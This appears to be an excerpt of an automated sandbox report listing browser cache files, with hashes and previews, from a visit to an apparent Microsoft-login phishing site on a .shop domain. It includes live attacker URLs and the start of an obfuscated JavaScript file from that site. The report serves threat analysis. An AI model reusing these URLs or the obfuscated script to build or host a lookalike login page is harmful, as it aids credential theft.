SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/bxg/DEC300GVPCIFO06FK0GDRIEYW
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	87462
Entropy (8bit):	5.262148110388299
Encrypted:	false
SSDEEP:	1536:/KRUXRa8Dgwxcy2jpBNwch96SLk8Ek2BSrBGS1ia/eEk4aV2EXi8SMpQ47GKV:/u1zNwcv9qBy1HOg8SMpQ47GKV
MD5:	E6C2415C0ACE414E5153670314CE99A9
SHA1:	5A9EEAC34D86E92E5660E0F4F87204F1ED0C8FF6
SHA-256:	D8F9AFBF492E4C139E9D2BCB9BA6EF7C14921EB509FB703BC7A3F911B774EFF8
SHA-512:	DE027062931EDD07B01842EFF24FC15FDBDCAA1AF245DCD133155FABA9E0C965F0A34DC6144CE3B149BC43B4597073C792CB6DABBFC6168C63095523923BCF77
Malicious:	false
Preview:	/! jQuery v3.7.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.remove

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.0.16], baseline, precision 8, 1420x1080, components 3
Category:	dropped
Size (bytes):	188433
Entropy (8bit):	7.951403245747074
Encrypted:	false
SSDEEP:	3072:49KN93uQ5Gy7em806E/hDV0Z60NpDs303yYVGJPsA/clrwzquG7EpOEcrDs:IKN915Gy7+YdV0ZRpDW039VVkclEzd4q
MD5:	8FDBD6E374CBB944DC8CB3D68D8197D7
SHA1:	250CE666BBCBAD73A78DB8A3A842A8E8412B6BDF
SHA-256:	B0B6C2AA7B3BBED2BF216332A926443998C19E8C434515737AD90FB9694FD6F4
SHA-512:	ED77E269DDB2F2B558E04211A284A9F13FD34649A0BE567D94509F7BB8396C03CA9F9F3E1000F222945AD04DEDD6E4CCC1820A0EE1536E73C6703396F4FED97B
Malicious:	false
Preview:	......JFIF.....`.`.....hExif..MM..................>...........F.(...........1.........N.......`.......`....paint.net 4.0.16.....C................&...../"$.&81;:7165=EXK=ATB56MiNT[^cdc<Jltl`sXac_...C.......-..-_?6?__________________________________________________......8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.. o.K....9'w.0..g+..,..!............zv.Z.....GZV.98.>`.2u..P..x..n.d.x.7ZhdP..... o3i.dzu.V/.....+.d..j{.c.b.....A.jKy...]cP.a...........@c...u..i..Im.#...0.U.i..C.).N:~U...T<..w..F....#..4...`......<.%8.....q...p.<~t..B.P.8,:5.V.c..Cn.z...Y$b...........-.X@y.].

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HwT:QT
MD5:	344EB8D19F5C0A3435EF32FD9601F1FB
SHA1:	E082EB1D89D91CC1A25A1D510268E576109DA07E
SHA-256:	B44289B54959639FCA6A742F7CC2E2A5AF9C6E7B73C1B3E25227CA9790F3A587
SHA-512:	EB9F1CD4A566192160371F4B182EE00180F6912333FFB79C537BD80635A6AFE6379FBE7BB74043D635BA65C9F4F956D9E97E516E24E516F2591192A36F866EAE
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmA_Nq33EsGRhIFDc5BTHo=?alt=proto
Preview:	CgkKBw3OQUx6GgA=

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/mxl/mlg.svg?7OK90379JX6CJ5RS12RRJ790B
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 280 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3226
Entropy (8bit):	7.887535849731442
Encrypted:	false
SSDEEP:	96:fZP2WFKxyYKhRBIk3LclSs5K2F0cRyRJMsfETA3LVWE:fZzYKuk4lSs5BZRK5fETA3L1
MD5:	3A620219089192B97FBE5CA002F22CCA
SHA1:	E39BC2DFE1C2EEA80527BFD6A7FBBDABFFF87F88
SHA-256:	019F3D631CA9595C38C526E5A5C266E6091D03C6FA7A76DB4FB0BA65102B58E6
SHA-512:	2AE2A93A3DA6B8321B93B9418C5D0330DCA13D06D0582802A19D6300CE43A01756EE186AB4993B5271F4808FF6758881436C040C7E6CC36AE3638F9EA10095E5
Malicious:	false
URL:	https://aadcdn.msauthimages.net/c1c6b6c8-tkja1ftrbnoasuxsmjlhdym92xfdwjgxashihkdd5fq/logintenantbranding/0/bannerlogo?ts=636317448793075703
Preview:	.PNG........IHDR.......<............sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.paint.net 4.0.16Di......IDATx^.{.]E.....H.;.v)..@..?.->.5...6.O.M..j!j.....b...H...\|$......M."...ww...l-m.}..........9s~.....B........9.3.33g...AEQ.. ..EQ.@....(T.E..Q.(....PQ.%.D..(J..BEQ.<....(y ..EQ.@....(T.E..Q.(....PQ.%.Da!0.>sJ..@....!....1.Sj...L....Zf.IR......E`....c...........QX.4.(J...E@.....QX.4.(J...E@.....QX...`.9......0Xd....DIw..`{<x4.c...#h.I...."0..c..:.f./..f....~#..T.kFv.............g\|V..d.......Q..........nS....j.U...~({;\|..}.u7t..u..q.cP....!.......V..#..b..<&.'.........\|}.'(.l....b...@..-.=.....z.k/..)................9.........:..........Ns...QX.F.`...C?t.."...S`.~..&;...gi...)}....Ty.g...c....A...c._".%.]..a\g...$.X?...1AO.5............ls.._...QW5.oE9. ;.....}h............XvJ.1.=.G..}...*.-uH._..e..d>......."0......d......:.r.>......TM..v2:.!.V.e<.?...s(..2.q.A.1.......q@..u_...q}....>.~....\| ..1;.......-p....?S

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	199333
Entropy (8bit):	5.013103448858446
Encrypted:	false
SSDEEP:	6144:mSK3Do7geTGmqEAmwROHngtMkCE9UZyBJC:w3MMeTGnEH/gjCE/C
MD5:	25930B37116B2474777D799979918568
SHA1:	4D0AE3F123CA421EC90EF3348C3B39AC655E9236
SHA-256:	B294D339F709A0620968800517ED512F5EA76A8D06959FF59F6F2EC6F3FDCDB7
SHA-512:	D3DF8EE8C3CEFAB0F214E250A11552A9C94D9374AABB7E745A9271D69C82C04ED7FD525FB0244E1BD9FC24BFCEA7A6F4384BBB86051E84A817BB2413F1017A6E
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/ecpt/RO2LW20A33DKH6T0JW0W6E353
Preview:	(function(_0x5b1989,_0x4dd8dd){function _0x98c760(_0x5bc066,_0x2bfe8b,_0x3ae5a4,_0xbb2dcc,_0x1155ea){return _0x4e53(_0x5bc066- -0x2df,_0xbb2dcc);}function _0x1ee071(_0x2ccdbb,_0x588cd5,_0x21f614,_0x3e8e2f,_0x4d219a){return _0x4e53(_0x4d219a- -0x223,_0x588cd5);}function _0x397734(_0x341432,_0x204bb2,_0x5f2ec7,_0x4a4c86,_0x361db0){return _0x4e53(_0x204bb2-0x9c,_0x5f2ec7);}function _0x5ee178(_0x31a9bc,_0x5b0a99,_0x45ebe4,_0x2fd736,_0x471b52){return _0x4e53(_0x471b52- -0x106,_0x45ebe4);}function _0x1aee45(_0x3e1555,_0x40a413,_0x1c1268,_0x3e7959,_0x13fc10){return _0x4e53(_0x13fc10- -0x61,_0x40a413);}var _0x250efa=_0x5b1989();while(!![]){try{var _0x5d818c=-parseInt(_0x1ee071(0xa3,-0x21e,-0x25e,-0xd2,-0x100))/(-0x5-0x543+-0x28-0x60+0x11-0x26e)(-parseInt(_0x98c760(0x78,0x123,-0x10f,0x1ed,0x97))/(-0x10x1193+-0x1eb7+0x18260x2))+-parseInt(_0x5ee178(0x6f,0x263,0x1a7,0x8b,0x161))/(-0x1b0d+-0x1fdf+-0x3aef-0x1)(parseInt(_0x1aee45(0x17,0x27c,0x1f6,0x2e2,0x177))/(-0x10x2047+0x2592+0x1-0x547))

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65299)
Category:	downloaded
Size (bytes):	80663
Entropy (8bit):	5.204798779868606
Encrypted:	false
SSDEEP:	1536:Qmw0iELO+TBR2t472RirWyKsVfK5GEfy3YJtCRv/45wZbqbXZTbYWU178:VwXza3YCl45wZODZTbYR8
MD5:	6BAF57F25796C332144ED58A2A0CD9EE
SHA1:	F7FD0F3DC84B2CF93BF81E832505A673F354E0A3
SHA-256:	82F64F62BB03C1BC1824B0F9C9E05F70DBA33E146818E63CDF5C306C8CF3DEDD
SHA-512:	5FF6240D9CA34DFE30C9CD95CB5E981823C7C0063CAD9258F8F3A0A24663401DA684844524272410673A6325FD78DB0F7E7D0FCD3844B8DB3EB9AA2613908EE8
Malicious:	false
URL:	https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js
Preview:	/!. Bootstrap v5.3.2 (https://getbootstrap.com/). * Copyright 2011-2023 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e()}(this,(function(){"use strict";const t=new Map,e={set(e,i,n){t.has(e)\|\|t.set(e,new Map);const s=t.get(e);s.has(i)\|\|0===s.size?s.set(i,n):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(s.keys())[0]}.`)},get:(e,i)=>t.has(e)&&t.get(e).get(i)\|\|null,remove(e,i){if(!t.has(e))return;const n=t.get(e);n.delete(i),0===n.size&&t.delete(e)}},i="transitionend",n=t=>(t&&window.CSS&&window.CSS.escape&&(t=t.replace(/#([^\s"#']+)/g,((t,e)=>`#${CSS.escape(e)}`))),t),s=t=>{t.dispatchEvent(new Event(i))},o=t=>!(!t\|\|"o

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/ic/76LXZHDGH9P3ITQ8VQI158R4G
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65342)
Category:	downloaded
Size (bytes):	232948
Entropy (8bit):	4.9772469761951434
Encrypted:	false
SSDEEP:	1536:m9YnIWbn98fhRfvO5wlP7Qy9P3CV98IsYRElV6V6pz600I41r:pnIw98fsV986I6V6pz600I41r
